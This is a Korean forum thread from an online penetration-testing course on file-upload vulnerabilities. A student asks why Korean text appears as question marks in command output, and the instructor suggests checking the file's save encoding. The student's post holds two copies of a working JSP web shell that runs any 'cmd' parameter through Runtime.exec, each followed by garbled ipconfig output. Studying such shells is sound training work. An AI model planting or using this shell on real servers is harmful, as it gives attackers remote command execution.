인프런 커뮤니티 질문&답변

dhwns5555님의 프로필 이미지
dhwns5555

작성한 질문수

모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1

JSP 한글 깨짐

작성

·

511

1

<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %>
<%@ page import="java.io.*" %>
<%
request.setCharacterEncoding("EUC-KR");
%>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">
    <title>Document</title>
    <style>
        table{
            border: 1px solid black;
            background-color: black;
        }
        td{
            color: white;
            font-size: 12px;

        }
    </style>
</head>
<body>


<%

String cmd = request.getParameter("cmd");
Process ps = null;
BufferedReader br = null;
String line = "";
String result = "";
String now_page = request.getServletPath();

try{
    if(cmd != null){
ps = Runtime.getRuntime().exec(cmd);
br = new BufferedReader(new InputStreamReader(ps.getInputStream()));

while((line = br.readLine())!= null){
    result += line + "<br>";
}
ps.destroy();
    }
}
finally{
    if(br != nullbr.close();
}
%>
<form action="<%=now_page%>" methoad="POST">
    <input type="text" name="cmd">
    <input type="submit" value="EXECUTE">
</form>
<hr>
<table>
    <tr>
        <td><%=result%></td>
    </tr>
</table>
</body>
</html>
 


Windows IP ????


????? ????? ?????:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :

????? ????? VirtualBox Host-Only Network:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::d4ff:e196:65b7:8e31%12
IPv4 ??? . . . . . . . . . : 192.168.56.1
????? ????? . . . . . . . : 255.255.255.0
?? ????????? . . . . . . :

????? ????? Npcap Loopback Adapter:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::58f7:a775:f5e8:992%16
??? ???? IPv4 ??? . . . . : 169.254.9.146
????? ????? . . . . . . . : 255.255.0.0
?? ????????? . . . . . . :

???? LAN ????? ???? ???? ????* 2:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :

???? LAN ????? ???? ???? ????* 3:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :

????? ????? VMware Network Adapter VMnet1:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::f1ac:f03a:410c:dce8%8
??? ???? IPv4 ??? . . . . : 169.254.220.232
????? ????? . . . . . . . : 255.255.0.0
?? ????????? . . . . . . :

????? ????? VMware Network Adapter VMnet8:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::3d53:cac6:432c:144d%14
??? ???? IPv4 ??? . . . . : 169.254.20.77
????? ????? . . . . . . . : 255.255.0.0
?? ????????? . . . . . . :

???? LAN ????? Wi-Fi:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::61d4:9204:78ca:69c%3
IPv4 ??? . . . . . . . . . : 192.168.0.5
????? ????? . . . . . . . : 255.255.255.0
?? ????????? . . . . . . : 192.168.0.1

????? ????? Bluetooth ?????? ???? 2:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.io.*" %>
<%
request.setCharacterEncoding("UTF-8");
%>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Document</title>
    <style>
        table{
            border: 1px solid black;
            background-color: black;
        }
        td{
            color: white;
            font-size: 12px;

        }
    </style>
</head>
<body>


<%

String cmd = request.getParameter("cmd");
Process ps = null;
BufferedReader br = null;
String line = "";
String result = "";
String now_page = request.getServletPath();

try{
    if(cmd != null){
ps = Runtime.getRuntime().exec(cmd);
br = new BufferedReader(new InputStreamReader(ps.getInputStream()));

while((line = br.readLine())!= null){
    result += line + "<br>";
}
ps.destroy();
    }
}
finally{
    if(br != nullbr.close();
}
%>
<form action="<%=now_page%>" methoad="POST">
    <input type="text" name="cmd">
    <input type="submit" value="EXECUTE">
</form>
<hr>
<table>
    <tr>
        <td><%=result%></td>
    </tr>
</table>
</body>
</html>
 


Windows IP ����


�̴��� ����� �̴���:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

�̴��� ����� VirtualBox Host-Only Network:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::d4ff:e196:65b7:8e31%12
IPv4 �ּ� . . . . . . . . . : 192.168.56.1
����� ����ũ . . . . . . . : 255.255.255.0
�⺻ ����Ʈ���� . . . . . . :

�̴��� ����� Npcap Loopback Adapter:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::58f7:a775:f5e8:992%16
�ڵ� ���� IPv4 �ּ� . . . . : 169.254.9.146
����� ����ũ . . . . . . . : 255.255.0.0
�⺻ ����Ʈ���� . . . . . . :

���� LAN ����� ���� ���� ����* 2:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

���� LAN ����� ���� ���� ����* 3:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

�̴��� ����� VMware Network Adapter VMnet1:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::f1ac:f03a:410c:dce8%8
�ڵ� ���� IPv4 �ּ� . . . . : 169.254.220.232
����� ����ũ . . . . . . . : 255.255.0.0
�⺻ ����Ʈ���� . . . . . . :

�̴��� ����� VMware Network Adapter VMnet8:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::3d53:cac6:432c:144d%14
�ڵ� ���� IPv4 �ּ� . . . . : 169.254.20.77
����� ����ũ . . . . . . . : 255.255.0.0
�⺻ ����Ʈ���� . . . . . . :

���� LAN ����� Wi-Fi:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::61d4:9204:78ca:69c%3
IPv4 �ּ� . . . . . . . . . : 192.168.0.5
����� ����ũ . . . . . . . : 255.255.255.0
�⺻ ����Ʈ���� . . . . . . : 192.168.0.1

�̴��� ����� Bluetooth ��Ʈ��ũ ���� 2:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

한글이 깨집니다. 저번에 php때도 깨져서 EUC-KR로 바꾸니까 잘 해결됬는데 JSP는 해결이 안되네요.

답변 1

0

크리핵티브님의 프로필 이미지
크리핵티브
지식공유자

저는 위에 코드로 하니 다음과 같이 한글 출력이 잘되네요.

위의 코드는 코드 상으로 인코딩 셋 설정이 올바르게 되어 있습니다.

혹시, 문서 저장 시 문서에 대한 인코딩 셋도 확인해보실래요?

혹은 문서에 대한 인코딩 셋.

dhwns5555님의 프로필 이미지
dhwns5555
질문자

인코딩 셋 UTF-8 / EUC-KR 둘다 해봐도 한글이 ???? 물음표로 뜨네요

dhwns5555님의 프로필 이미지
dhwns5555

작성한 질문수

질문하기